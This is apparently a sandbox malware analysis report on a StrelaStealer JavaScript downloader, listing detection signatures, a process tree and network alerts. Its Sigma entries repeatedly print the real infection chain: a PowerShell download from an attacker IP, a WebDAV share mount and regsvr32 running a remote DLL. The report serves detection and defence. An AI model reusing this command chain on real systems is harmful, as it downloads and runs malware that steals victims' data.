Edit tour

Windows Analysis Report
1504631236979031969.js

Overview

General Information

Sample name:	1504631236979031969.js
Analysis ID:	1588605
MD5:	21d689818acb68ff7c19bd104884522f
SHA1:	85925b55d9f94e9aee746dd02dfe0e8e8f12712f
SHA256:	2d9c08f272cf80a8a5523f6e3d63be5a6029dacf7a429eda1ac4d0805599f5a9
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7472 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1504631236979031969.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7560 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7624 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7864 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8084 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 3568 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1596,i,3756341441224561509,5222484860576881628,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7896 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7984 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8148 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7472	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7560, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7624, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7560, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7624, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1504631236979031969.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1504631236979031969.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1504631236979031969.js", ProcessId: 7472, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7984, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49706

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1504631236979031969.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7472, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, ProcessId: 7560, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1504631236979031969.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7472, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, ProcessId: 7560, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1504631236979031969.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7472, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, ProcessId: 7560, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1504631236979031969.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7472, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, ProcessId: 7560, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1504631236979031969.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7472, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, ProcessId: 7560, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1504631236979031969.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1504631236979031969.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1504631236979031969.js", ProcessId: 7472, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7560, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7624, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7896, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7984, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8148, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7896, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7984, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1504631236979031969.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7472, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, ProcessId: 7560, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:04:08.724563+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.8	49705	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:04:11.005692+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49706	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:04:08.724563+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1504631236979031969.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1504631236979031969.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.8:49705 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49706 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:04:08 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: global traffic

